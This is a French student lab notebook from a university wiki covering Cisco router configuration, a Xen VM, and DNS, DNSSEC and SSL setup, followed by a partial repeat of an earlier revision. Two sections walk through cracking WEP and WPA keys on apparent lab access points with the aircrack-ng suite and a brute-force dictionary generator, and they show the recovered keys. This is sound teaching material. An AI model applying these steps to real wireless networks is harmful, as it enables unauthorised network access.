Wiki de Projets IMA - Contributions de l’utilisateur [fr]

Cahier 2016 groupe n°5

2017-01-02T16:07:02Z

2016-11-28T10:07:58Z

Troj :

Cahier 2016 groupe n°5

2016-11-28T10:01:31Z

Troj : /* Securisation de site par SSL */

== Cahier des charges ==
=== Présentation du travail ===

==== Répartition du travail ====

{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (03/10)
| Recherche sur le routeur 4331. Installation de la machine virtuelle, définition de l'architecture réseau.
|-
! scope="row" | Séance 2 (10/10)
| Création des VLAN - Bridge
|-
! scope="row" | Séance 3 (13/10)
| Création des VLAN - Bridge
|-
! scope="row" | Séance 4 (24/10)
| Test de la configuration locale
|-
! scope="row" | Séance 5 (07/11)
| Configuration OSPF - Configuration locale IPv6 - Configuration RIP - Configuration VRRP - Cassage de clé WEP
|-
! scope="row" | Séance 6 (17/11 - additionnel)
| Protocole HSRP - Cassage de clé WPA - Configuration DNS - Securisation de site par SSL - Securisation de DNS par DNSSEC - LVM/RAID5
|-
! scope="row" | Séance 7 (28/11)
|
|-
! scope="row" | Séance 8 (12/12)
|
|-
|}

====Travail réalisé la 1ère semaine ====

Pour cette première séance nous avons d'abord installé la machine virtuelle Xen grâce à la commande :
<pre>
xen-create-image --hostname=Flash --ip=193.48.57.165 --netmask=255.255.255.240 gateway=193.48.57.171
--dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --passwd
</pre>
Ainsi, nous obtenons ce résultat:
<pre>
Installation Summary
---------------------
Hostname : Flash
Distribution : jessie
MAC Address : 00:16:3E:49:8F:E5
IP Address(es) : 193.48.57.165
RSA Fingerprint : 5c:89:1c:49:cf:d1:a0:a3:9b:ff:0c:d1:f7:33:82:db
Root Password : N/A
</pre>

==== Travail réalisé la 2e semaine (2 séances) ====
Durant cette semaine, nous avons réalisés la configuration locale du routeur (configuration des VLANs). 
Comme le 4331 est une nouvelle génération de routeur encore non utilisée en TP de PRA, nous devons apprendre comment l'utiliser. 
=====Configuration générale=====
Communication: '''Série 9800 Bauds 8 bits sans parité sans contrôle de flux'''. 
Lors de sa première mise en route, nous devons effectuer sa configuration générale : 
<pre> hostname cisco config hostname
enable secret reverse </pre>
Puis ensuite, nous pouvons passer à la configuration des VALNs.
=====Configuration des VLANs =====
Nous avons 12 VLANs à configurer : 
<ul>
<li> 11 VLANs (2-11) : VLAN correspondant aux différents groupes.</li>
<li> 1 VLAN (12) : VLAN des Machines virtuelles. Permet la communication entre Cordouan et les Commutateurs</li>
<li> 1 VLAN (13) : VLAN d'interconnexion. Permet la communication entre le routeur local et le routeur de l'école</li></ul>
Sur l'interface physique du 4331, il y a 3 interfaces:
<ul>
<li> Gi 0/0/0 : disponible en cuivre et en fibre</li>
<li> Gi 0/0/1: disponible en cuivre</li>
<li> Gi 0/0/2: disponible en fibre</li></ul>

Nous devons connecter notre routeur aux 2 commutateurs 6006 prévus dans l'architecture du TP. Pour cela, il faut que les 2 commutateurs aient les mêmes informations. Pour cela, nous devons créer des '''bridge-domain'''. Des bridge-domain permettent de rassembler 2 sous interfaces de 2 interfaces différentes pour qu'elles aient la même IP. L'interface principale n'aura pas d'adresse IP, les sous interfaces non plus, l'adresse IP sera placé sur le bridge-domain. 
Exemple: '''VLAN2 : Gi 0/0/0.2 et Gi 0/0/1.2 seront dans le même bridge-domain 2''' 

Les 4331 étant une nouvelle génération de routeur encore non testée à l'école, il fallait apprendre à s'en servir. 
La plupart des commandes CISCO de base restent inchangées. Cependant, la création des sous interfaces a changée. Avant, nous devions créer des interfaces comme suit:
<pre> interface GigabitEthernet 0/0/0.X </pre>
Avec le nouvel IOS (IOS ISR), nous ne pouvons pas créer des sous interfaces comme ci-dessus dans le but de les mettre dans un bridge.
Nous devons passer par une nouvelle commande qui s'appelle '''service instance''' :
<pre> int gi 0/0/0
service instance <n°VLAN> ethernet </pre>
Ainsi, nous avons la sous interface numéro 2 de l'interface principale 0/0/0. 
Nous pouvons alors créer nous sous interfaces:
<pre> int gi0/0/0
no ip address
negociation auto
service instance 2 ethernet
encapsulation dot1q 2
bridge-domain 2

service instance 3 ethernet
encapsulation dot1q 3
bridge-domain 3
...</pre>
<pre> int gi0/0/1
no ip address
negociation auto
service instance 2 ethernet
encapsulation dot1q 2
bridge-domain 2
...</pre>
Ainsi, nos sous interfaces sont crées et sont placés dans les différents bridge domain. 

=====Configuration des bridge-domain=====
Afin d'allouer des IP aux différents bridge domain, il faut prévenir le routeur que nous utilisons des bridge-domain: 
<pre> bridge irb </pre>
Ensuite, nous devons préciser quel protocole nous devons utiliser et si les adresses IP des bridge domain seront des adresses routées : 
<pre> bridge 2 protocol ieee
bridge 2 route ip</pre>
Enfin, nous pouvons allouer des IP aux différents bridge domain : 
<pre>int BDI2
ip address 10.60.2.1 255.255.255.0</pre>

Et nous répétons ces opérations pour tous les bridge-domain. 
Afin de tester si notre configuration locale est correcte, nous devons racker notre routeur, le connecter à un des 6006, puis connecter le 6006 à Cordouan (groupe BONDING). Ainsi, nous pourrons voir si nous pouvons ping notre routeur depuis notre VM.

====Travail réalisé la 3e semaine====
=====Test 1=====
Cette semaine, nous avons testés la configuration locale de notre routeur. Nous avons donc tentés de ping le routeur depuis notre VM. 
Pour tester, nous avons besoin d'un port disponible sur CORDOUAN qui est dans le bridge IMA5sc. 
Après des essais laborieux, nous décidons donc de regarder les adresses MAC des ports afin de les rassembler. Si 4 ports ont le même radical MAC, c'est qu'ils font partis d'un groupe de 4. Nous avons donc choisis '''eth4'''. 
Ensuite, il fallait trouver le port physique correspondant a eth4. '''Grâce au fichier /etc/udev/rules.d/70-persistence-net.rules''', on peut voir l'association du port physique à l'interface. Voici l'extrait qui nous intéresse: 
<pre># PCI device 0x14e4:0x1657 (tg3)
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:0a:f7:54:36:40", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth4"
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:0a:f7:54:36:41", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth5"
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:0a:f7:54:36:42", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth6"
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:0a:f7:54:36:43", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth7"</pre>
 
On voit bien que eth4 est dans un groupe de 4 ports, ce qui restreint nos choix. Ensuite, on sait que c'est le plus petit des 4 interfaces. Logiquement, ce sera le 1er du groupe. 
On connecte donc ce port au commutateur sur un port qui appartient au VLAN des VM. On connecte ensuite notre routeur au commutateur via un port trunk. 
'''Premier essai: FAIL''' 
=====Test 2=====
Et là, c'est le drame ... On ne ping rien ... 
On se demande donc d'où cela peut venir. 
======Première cause possible : La configuration de CORDOUAN======
Peut-être que c'est CORDOUAN qui est mal configuré. On se place donc sur CORDOUAN, et grâce à la commande '''cdpr''' (Cisco Discovery Protocol Reporter), on peut demander au serveur de chercher ses voisins et d'avoir la configuration de la liaison avec ce voisin. Voici le résultat de cette commande: 
<pre>cdpr -d eth4
cdpr - Cisco Discovery Protocol Reporter
Version 2.4
Copyright (c) 2002-2010 - MonkeyMental.com

Using Device: eth4
Warning opening device (eth4: no IPv4 address assigned)
Waiting for CDP advertisement:
(default config is to transmit CDP packets every 60 seconds)
Device ID
value: Switch_E306
Addresses
Port ID
value: GigabitEthernet4/13</pre>
On voit bien que CORDOUAN détecte qu'il a une liaison avec le switch qui se trouve en E306 et qu'il est connecté via le port Gi4/13. 
======Deuxième cause possible: Le commutateur======
Peut-être donc que c'est le commutateur qui est mal configuré. On se place donc sur le commutateur, et toujours grâce à la commande '''cdpr''', on peut demander au commutateur de trouver ses voisins. Le résultat de cette commande est la suivante: Le commutateur découvre bien notre routeur (cisco), et sait qu'il est connecté sur le port 4/47 (port trunk).
======Dernière cause possible:Le routeur======
On se dit donc que le problème vient du routeur... 
On regarde donc la configuration du routeur, et Mr REDON nous demande pourquoi on n'a pas créé de VLAN. Les VLAN sont traduits par les service instance dans le nouvel IOS, mais peut-être que nous devons encore définir que les paquets venant/sortant de l'interface générale doivent être encapsulé/décapsulé en DOT1Q. 
Après quelques recherches, une première solution a été de préciser sur l'interface des bridge-domain que les paquets étaient encapsulés en DOT1Q. Solution '''peu logique''' vu que l'encapsulation est déjà faite dans les service instance. 
Après encore quelques recherches, une solution plausible est que '''le routeur ne sait pas qu'il faut dé-encapsuler les paquets venant d'un VLAN'''. Théoriquement, il n'enlèverait pas le tag associé à l'encapsulation DOT1Q. 
Une commande cisco à associer à TOUTES les interfaces service instance permet de préciser qu'il faut supprimer le tag associé à l'encapsulation:
<pre>rewrite ingress tag pop 1 symmetric</pre>
Une fois cette commande appliquée à tous les services, nous pouvons effectuer un test préalable : '''Nous connectons un eeePC au commutateur via un port associé au VLAN des VM. L'eeePC serait muni d'une IP dans le réseau des VM.''' 
Résultat '''OK''' 
Nous pouvons donc tenter de ping le routeur depuis la machine virtuelle : 
<pre>ping 193.48.57.171
PING 193.48.57.171 (193.48.57.171) 56(84) bytes of data.
64 bytes from 193.48.57.171: icmp_seq=1 ttl=255 time=0.360 ms
64 bytes from 193.48.57.171: icmp_seq=2 ttl=255 time=0.271 ms
^C
--- 193.48.57.171 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 0.271/0.315/0.360/0.047 ms</pre>
Notre configuration locale est donc maintenant achevée. Nous pouvons passer à la configuration de l'interconnexion ipv4 et ipv6 de l'école.

====Travail réalisé la 4e semaine====
=====Configuration IPv6=====
Nous avons donc pu commencer la configuration IPv6 de notre routeur. 
Chaque bridge-domain aura son adresse IP dans le réseau IPv6 de l'école, avec un préfixe débutant à 2001:660:4401:60b0::/64. 
La configuration est la suivante, pour chaque BDI: 
<pre>cisco(config)#int BDI6
cisco(config-if)#ipv6 address 2001:660:4401:60b4::/64 eui-64
cisco(config-if)#ipv6 nd prefix 2001:660:4401:60b4::/64 1000 900
cisco(config-if)#ipv6 nd router-preference high
cisco(config-if)#ipv6 enable</pre>
=====Configuration OSPF (IPv4)=====
Dès notre arrivée, Mr.REDON nous a dit que, pour booster le TP, il avait effectué lui-même la configuration OSPF de notre routeur. La voici: 
<pre>router ospf 1
router-id 10.60.2.1
summary-address 10.60.0.0 255.255.0.0
summary-address 193.48.57.160 255.255.255.240
redistribute connected metric 30 subnets
network 192.168.222.0 0.0.0.7 area 1</pre>
=====Configuration RIP (IPv6)=====
Le protocole RIPv6 est une stratégie de routage pour IPv6. Ce protocole est configuré pour le BDI130 (correspondant au VLAN130 d'interconnexion des routeurs de l'école). La configuration de RIP est la suivante: 
<pre>ipv6 router rip tpima5sc
redistribute connected metric 1
redistribute static metric 1
redistribute rip 1 metric 1</pre>
La prise en compte du protocole RIP dans la BDI130 est la suivante: 
<pre>interface BDI130
ip address 192.168.222.1 255.255.255.248
ipv6 address 2001:660:4401:60AA::/64 eui-64
ipv6 enable
ipv6 nd prefix 2001:660:4401:60AA::/64 1000 900
ipv6 nd router-preference High
ipv6 rip tpima5sc enable</pre>
Pour confirmer notre résultat, nous regardons la table de routage IPv6: 
<pre> cisco#sh ipv6 route
IPv6 Routing Table - default - 65 entries
Codes: C - Connected, L - Local, S - Static, U - Per-user Static route
B - BGP, R - RIP, I1 - ISIS L1, I2 - ISIS L2
IA - ISIS interarea, IS - ISIS summary, D - EIGRP, EX - EIGRP external
ND - ND Default, NDp - ND Prefix, DCE - Destination, NDr - Redirect
O - OSPF Intra, OI - OSPF Inter, OE1 - OSPF ext 1, OE2 - OSPF ext 2
ON1 - OSPF NSSA ext 1, ON2 - OSPF NSSA ext 2, a - Application
R ::/0 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:60::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6000::/56 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6002::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6003::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6004::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6005::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6006::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130</pre>
Notre routeur détecte les routeurs de l'école, notre configuration est donc achevée. 
=====Configuration VRRP=====
Le VRRP est un protocole de redondance. Une adresse IP virtuelle (IP flottante) est montée sur 1 des 2 routeurs. Si le routeur sur laquelle est montée l'IP flottante tombe, l'IP est montée sur l'autre routeur. De plus, les machines pourront envoyer les paquets vers l'adresse IP virtuelle, et le VRRP dispatchera les paquets entre les 2 routeurs. 
Voici la configuration VRRP de notre routeur: 
<pre>interface BDI2
ip address 10.60.2.1 255.255.255.0
ipv6 address 2001:660:4401:60B0::/64 eui-64
ipv6 enable
ipv6 nd prefix 2001:660:4401:60B0::/64 1000 900
ipv6 nd router-preference High
vrrp 1 ip 10.60.2.3
vrrp 1 priority 110</pre>
10.60.X.1 est l'espace des adresses IP de notre routeur (4331), 10.60.X.2 est l'espace des adresses IP du routeur 3560E, donc 10.60.X.3 est l'espace des adresses IP flottantes, X représente le numéro du BDI. 
Nous pouvons voir si notre configuration VRRP est effective : 
<pre>cisco#sh vrrp
BDI12 - Group 1
State is Master
Virtual IP address is 193.48.57.173
Virtual MAC address is 0000.5e00.0101
Advertisement interval is 1.000 sec
Preemption enabled
Priority is 110
Master Router is 193.48.57.171 (local), priority is 110
Master Advertisement interval is 1.000 sec
Master Down interval is 3.570 sec

BDI2 - Group 1
State is Master
Virtual IP address is 10.60.2.3
Virtual MAC address is 0000.5e00.0101
Advertisement interval is 1.000 sec
Preemption enabled
Priority is 110
Master Router is 10.60.2.1 (local), priority is 110
Master Advertisement interval is 1.000 sec
Master Down interval is 3.570 sec
</pre>
Cependant, même si notre configuration VRRP est bonne, nous n'arrivons pas à ping 193.48.57.173, qui représente l'adresse IP virtuelle montée sur le bridge-domain des VM. 

=====Craquage de clé WEP=====
On bascule d’abord la carte en mode monitor :
<pre> airmon-ng start xxxxxxxx </pre>
Ensuite on scan tous les réseaux wifi captés par cette même carte :
<pre> airodump-ng –encrypt wep wlan 0 </pre>
On obtient :
<pre>
CH 13 ][ Elapsed: 4 s ][ 2016-03-08 10:32

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

44:AD:D9:5F:87:00 -44 2 0 0 11 54e. WEP WEP Wolverine
04:DA:D2:9C:50:53 -66 2 0 0 13 54e. WEP WEP cracotte04
04:DA:D2:9C:50:55 -70 2 91 35 13 54e. WEP WEP cracotte06
04:DA:D2:9C:50:51 -69 4 33 13 13 54e. WEP WEP cracotte02
04:DA:D2:9C:50:57 -67 3 44 19 13 54e. WEP WEP cracotte08
04:DA:D2:9C:50:56 -69 2 38 11 13 54e. WEP WEP cracotte07
04:DA:D2:9C:50:54 -68 2 37 14 13 54e. WEP WEP cracotte05
04:DA:D2:9C:50:58 -70 2 175 70 13 54e. WEP WEP cracotte09
04:DA:D2:9C:50:50 -68 0 142 52 13 -1 WEP WEP <length: 0>
04:DA:D2:9C:50:52 -70 2 171 64 13 54e. WEP WEP cracotte03

BSSID STATION PWR Rate Lost Frames Probe

04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -66 0 - 9e 1160 50
04:DA:D2:9C:50:51 00:0F:B5:92:24:51 -62 0 -48e 34 7
04:DA:D2:9C:50:57 00:0F:B5:92:22:66 -64 0 - 6e 31 6
04:DA:D2:9C:50:56 00:0F:B5:92:23:71 -66 0 -48e 60 6
04:DA:D2:9C:50:54 00:0F:B5:92:23:74 -70 0 -24e 52 11
04:DA:D2:9C:50:58 00:0F:B5:92:23:69 -62 0 -48e 12 140
</pre>

Ici nous avons choisi cracotte06 comme wifi cible. On récupère donc son BSSID : 04 :DA :D2 :9C :50 :55 sur le channel 13 
On surveille uniquement notre cible pour s'assurer qu'une machine s'y connecte bien :
<pre> airodump-ng –w out –c 13 –bssid 04 :DA :D2 :9C :50 :55 wlan0 </pre> 
Pour le craquage, il faut au préalable surchargé de requête ARP le réseau cible pour récupérer un maximum de trame d’échanges.
<pre> aireplay-ng -3 –e cracotte06 –a 04 :DA :D2 :9C :50 :55 –b 04 :DA :D2 :9C :50 :55 –h 00:0F:B5:92:23:6B –x 1000 –n out-ox.cap wlan0 </pre>
Une fois un nombre de trame récupéré assez conséquent, on lance l’utilitaire : <pre>aircarck-ng out_ox.cap</pre> avec out_ox.cap le fichier de sauvegarde contenant toutes les trames ARP récupérées.

On a alors réussi notre craquage au bout de quelque minutes :
<pre>
Aircrack-ng 1.2 beta3

[00:00:01] Tested 785 keys (got 1349085 IVs)

KB depth byte(vote)
0 0/ 2 EE(1862400) 75(1396736) DB(1392128) FF(1388544) 50(1387520)
1 1/ 4 DD(1419264) 1B(1397504) 2C(1392128) 54(1387776) 26(1385728)
2 47/ 2 DB(1365760) 38(1364736) 00(1364480) 22(1364480) 82(1364480)
3 1/ 2 26(1407488) 2C(1390592) 65(1387520) F0(1387520) FE(1387520)
4 4/ 4 F6(1383168) CD(1382656) 7E(1381376) F0(1380096) 58(1379840)

KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44 ]
Decrypted correctly: 100%
</pre>

====Travail réalisé la 5ème semaine ====
=====Configuration HSRP=====
Le VRRP n'était pas compatible sur le routeur du groupe 6 (3560E) à cause de la trop faible version de 'IOS Cisco. Du coup, il nous a été demandé de mettre en place le protocole en dessous de VRRP, HSRP. 
Le protocole HSRP fonctionne comme le VRRP, et s'implémente, par BDI, comme suit: 
<pre>Sstandby 1 ip 10.60.X.3
standby 1 preempt
standby 1 priority 100</pre>

Il fallait aussi que notre routeur soit connecté au 2e commutateur via une liaison fibre en mode trunk. Ainsi, nous pouvons voir, dans ce qui suit, que le routeur maitre est le routeur 3560E, et que nous sommes en standby ! 
<pre>BDI2 - Group 1 (version 2)
State is Standby
7 state changes, last state change 00:01:16
Virtual IP address is 10.60.2.3
Active virtual MAC address is 0000.0c9f.f001 (MAC Not In Use)
Local virtual MAC address is 0000.0c9f.f001 (v2 default)
Hello time 3 sec, hold time 10 sec
Next hello sent in 0.128 secs
Preemption enabled
Active router is 10.60.2.2, priority 110 (expires in 8.784 sec)
MAC address is d4d7.4842.53c1
Standby router is local
Priority 100 (default 100)
Group name is "Vlan2" (cfgd)</pre>
=====Craquage clé WPA =====

Pour ce craquage, nous avons gardé la même cible, c'est à dire cracotte06. Il faut encore ici s'assurer qu'une machine est connecté à cette borne.
Pour le craquage WPA, il nous faut 2 éléments : 
- Un fichier d'échange contenant le handshake 
- Un dictionnaire contenant toutes les possibilités de valeur que peut avoir la clé.

Ici nous avons simplement récupéré le handshake grâce à la commande d'écoute de la borne :
<pre> airodump-ng -w out --encrypt wpa -c 13 --04 :DA :D2 :9C :50 :55 wlan0 </pre>

Grâce à l'option -w out, il nous a créée un fichier stockant le hanshake.

En parallèle nous avons généré le fichier txt jouant le rôle de dictionnaire, à l'aide d'un programme C.

<pre>
#include <stdio.h>
#include <stdlib.h>

int main(){
FILE *fp=fopen("dico.txt","w+");
int i =0;
for(i=0;i<=99999999;i++){
fprintf(fp,"%08d\n",i);
}
return 0;
}
</pre>

Finalement on utilise l'utilitaire aircrack avec en paramètre le fichier de sauvegarde contenant le handshake ainsi que le fichier texte dictionnaire :
<pre> aircrack-ng -w dico.txt dump-02.cap </pre>
On obtient avec succès au bout de quelque minutes :
<pre>
Aircrack-ng 1.2 beta3

[01:01:47] 12399904 keys tested (3519.77 k/s)

KEY FOUND! [ 12399907 ]

Master Key : F5 4A 19 53 7C DB 88 D1 D0 21 3B FD FF 5F EF CD
D0 DE 05 F5 0F DB 08 79 85 16 17 8B E0 E4 6B 23

Transient Key : 25 94 12 1B 71 2C 49 01 10 44 34 8A 8A 74 36 47
7B 1C D8 3D 77 A5 9B 9D 74 44 DC C7 5F 55 D7 0B
2B 29 83 CC FC 08 7E DF BF A6 B7 76 AF BA D5 8A
07 F0 61 B1 02 3A 56 B2 A2 03 CD 80 20 14 3E D8

EAPOL HMAC : CF 04 96 3D DC 43 B4 D1 0E D5 0F B5 78 2F 57 C9
</pre>
=====Configuration DNS=====
Dans un premier temps, nous réservons sur Gandi notre nom de domaine : speedflash.space 
Ensuite, nous installons les paquets bind9, ainsi que apache2. 
Nous configurons les fichiers nécessaires à la bonne marche du serveur DNS à savoir les fichiers named.conf.local (autorisation de transfert de paquets vers le DNS esclave - Utilisation du bon fichier de zone), puis db.speedflash.space (fichier de zone) 
Voici la configuration de ces 2 fichiers : 
named.conf.local : 
<pre>zone "speedflash.space" {
type master;
file "/etc/bind/db.speedflash.space";
allow-transfer {217.70.177.40;};
};</pre>
217.70.177.40 est l'adresse IP du serveur DNS de Gandi (ns6.gandi.net) que nous avons pris pour serveur esclave. 
db.speedflash.space: 
<pre>;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.speedflash.space. root.speedflash.space (
2 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.speedflash.space.
ns IN A 193.48.57.165
www IN A 193.48.57.165
</pre>
Nous déclarons que notre DNS (ns) est à l'adresse 193.48.57.165, soit l'IP de notre VM. 
Ensuite, pour faire fonctionner le tout, on relance bind : <pre> service bind9 restart </pre> 
Et à l'aide du fichier de log daemon.log, on peut confirmer que bind s'est lancé sans erreur : 
<pre>tail /var/log/daemon.log | grep named
Nov 17 11:52:37 Flash named[1798]: command channel listening on ::1#953
Nov 17 11:52:37 Flash named[1798]: managed-keys-zone: journal file is out of date: removing journal file
Nov 17 11:52:37 Flash named[1798]: managed-keys-zone: loaded serial 3
Nov 17 11:52:37 Flash named[1798]: zone 0.in-addr.arpa/IN: loaded serial 1
Nov 17 11:52:37 Flash named[1798]: zone speedflash.space/IN: loaded serial 2
Nov 17 11:52:37 Flash named[1798]: zone 127.in-addr.arpa/IN: loaded serial 1
Nov 17 11:52:37 Flash named[1798]: zone 255.in-addr.arpa/IN: loaded serial 1
Nov 17 11:52:37 Flash named[1798]: zone localhost/IN: loaded serial 2
Nov 17 11:52:37 Flash named[1798]: all zones loaded
Nov 17 11:52:37 Flash named[1798]: running</pre>

=====Securisation de site par SSL=====
Afin d'obtenir un certificat SSL par Gandi, nous avons besoin d'un CSR. Nous générons donc le CSR par la commande : 
<pre>openssl req -nodes -newkey rsa:2048 -sha1 -keyout serveur.key -out serveur.csr</pre>
Nous fournissons ce CSR à Gandi, puis nous attendons d'avoir notre certificat. Une fois le certificat obtenu, on peut copier les bons fichiers dans SSL : 
<pre>root@Flash:/etc/bind# cp certificat.crt /etc/ssl/certs/speedflash.space.crt
root@Flash:/etc/bind# cp serveur.key /etc/ssl/private/speedflash.space.key
root@Flash:/etc/bind# cp GandiStandardSSLCA.pem /etc/ssl/certs/GandiStandardSSLCA.pem</pre>
GandiStandardSSLCA.pem est un certificat intermédiaire afin de certifier notre certificat. 
Ensuite, nous re-hashons toute la structure afin de prendre en compte notre certificat : 
<pre>
root@Flash:/etc/bind# c_rehash /etc/ssl/certs
Doing /etc/ssl/certs
speedflash.space.crt => ac112f31.0
speedflash.space.crt => a88e5e47.0
GandiStandardSSLCA.pem => 0cad7ee9.0
GandiStandardSSLCA.pem => 3a57595e.0
ssl-cert-snakeoil.pem => 816e77e4.0
ssl-cert-snakeoil.pem => de4674a3.0</pre>
Il faut modifier le fichier '''000-speedflash.space-ssl.conf''' afin d'associer APACHE et notre nom de serveur : 
<pre>#NameVirtualHost *:443
<VirtualHost 193.48.57.165:443>
ServerName www.speedflash.space
ServerAlias speedflash.space
DocumentRoot /var/www/www.speedflash.space/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/speedflash.space.crt
SSLCertificateKeyFile /etc/ssl/private/speedflash.space.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA.pem
SSLVerifyClient None
</VirtualHost>
<Directory /var/www/www.speedflash.space>
Require all granted
</Directory>
ServerName "speedflash.space"</pre>
Il faut modifier le fichier '''ports.conf''' du serveur Apache pour qu'il écoute le port 443 (SSL): 
<pre>Listen 80 443

<IfModule ssl_module>
Listen 443
</IfModule>

#<IfModule mod_gnutls.c>
# Listen 443
#</IfModule>

#<IfModule mod_ssl.c>
# Listen 443
#NameVirtualHost *:443
#</IfModule></pre>
Il faut activer le module SSL de Apache : <pre> a2modssl</pre> 
Nous pouvons donc activer notre Apache avec notre certificat : 
<pre>root@Flash:/etc/bind# a2ensite 000-speedflash.space-ssl.conf
Enabling site 000-speedflash.space-ssl.
root@Flash:/etc/bind# service apache2 reload</pre>
Nous pouvons vérifier que le site est sécurisé en allant sur https://www.speedflash.space et en voyant le cadenas vert. 

=====Securisation de DNS par DNSSEC=====
Il faut générer les clés .key et .private afin de pouvoir signer les zones et les enregistrements. 
<pre> dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE speedflash.space </pre>
<pre> dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE speedflash.space </pre>
l'option -r /dev/urandom est ici pour accélérer la génération des clés 
Nous incluons les clés dans le fichier de zone db.speedflash.space : 
<pre>$include /etc/bind/speedflash.space.dnssec/speedflash.space-ksk.key
$include /etc/bind/speedflash.space.dnssec/speedflash.space-zsk.key</pre>
On signe donc la zone : 
<pre>root@Flash:/etc/bind/speedflash.space.dnssec# dnssec-signzone -o speedflash.space -k speedflash.space-ksk ../db.speedflash.space speedflash.space-zsk
Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
ZSKs: 1 active, 0 stand-by, 0 revoked
../db.speedflash.space.signed</pre>
On ajoute le DNSSEC à Gandi : 
[[Fichier:Dns-gandi.png]] 
On vérifie que notre DNS est bien sécurisé en essayant la commande : 
<pre>root@Flash:/etc/bind# dig DNSKEY speedflash.space @localhost

; <<>> DiG 9.9.5-9+deb8u8-Debian <<>> DNSKEY speedflash.space @localhost
;; global options: +cmd
;; Got answer:
;; ->>HEADER<;; flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;speedflash.space. IN DNSKEY

;; ANSWER SECTION:
speedflash.space. 604800 IN DNSKEY 257 3 5 AwEAAaJcjim9pdD8U6InsiCNFzJthDwsiwGgPylxRp5nDuoaGrcDp1LU psBv0iY0VUqzcC+uRhTTfjl6P3yuPsnZYefVlSEeRpn9QR33Hioadbhc aFSuYnfwS/L/R6Kwt2XFz5V/fI/j+M2AtGxhBFgVKtmjvnwEr2VfdkFl d9AZJQu09ajWCJIKeL2dRE5bPbXwkDilgkQkBZUVWtXN7qwnrFnlszpb gSdRKosfhScAUmTerxOV6WybzOYb+9D0r8QrDoIhhCpf1/gczAUzHPWd hb0rxIGHk6seMp1qTotZE3SgxrCwm7H6z4pcXeMfbdNzkrIgcJmum9i0 zsLzlghkAPM=
speedflash.space. 604800 IN DNSKEY 256 3 5 AwEAAcHrx5vtsGzY7LF32x3HRIXRwOBm3WZM02NHY4s0uB2djn6tV52B ss78iXC4O5hdpJ0uOxS0/MNCYNJkIXnWsvAHc6lbdWfQ8Jvnj/aBMz94 agXbxXkseqjlIcF1huspBAi9lcY5hsy59MDek5iNlduy8HK6AVItqeQi HviShcq3</pre>
On remarque bien la présence de DNSKEY qui nous assure que notre DNS est sécurisé.

Cahier 2016 groupe n°5

2016-11-18T12:39:51Z

Troj : /* Securisation de DNS par DNSSEC */

== Cahier des charges ==
=== Présentation du travail ===

==== Répartition du travail ====

{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (03/10)
| Recherche sur le routeur 4331. Installation de la machine virtuelle, définition de l'architecture réseau.
|-
! scope="row" | Séance 2 (10/10)
| Création des VLAN - Bridge
|-
! scope="row" | Séance 3 (13/10)
| Création des VLAN - Bridge
|-
! scope="row" | Séance 4 (24/10)
| Test de la configuration locale
|-
! scope="row" | Séance 5 (07/11)
| Configuration OSPF - Configuration locale IPv6 - Configuration RIP - Configuration VRRP - Cassage de clé WEP
|-
! scope="row" | Séance 6 (17/11 - additionnel)
| Protocole HSRP - Cassage de clé WPA - Configuration DNS - Securisation de site par SSL - Securisation de DNS par DNSSEC - LVM/RAID5
|-
! scope="row" | Séance 7 (28/11)
|
|-
! scope="row" | Séance 8 (12/12)
|
|-
|}

====Travail réalisé la 1ère semaine ====

Pour cette première séance nous avons d'abord installé la machine virtuelle Xen grâce à la commande :
<pre>
xen-create-image --hostname=Flash --ip=193.48.57.165 --netmask=255.255.255.240 gateway=193.48.57.171
--dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --passwd
</pre>
Ainsi, nous obtenons ce résultat:
<pre>
Installation Summary
---------------------
Hostname : Flash
Distribution : jessie
MAC Address : 00:16:3E:49:8F:E5
IP Address(es) : 193.48.57.165
RSA Fingerprint : 5c:89:1c:49:cf:d1:a0:a3:9b:ff:0c:d1:f7:33:82:db
Root Password : N/A
</pre>

==== Travail réalisé la 2e semaine (2 séances) ====
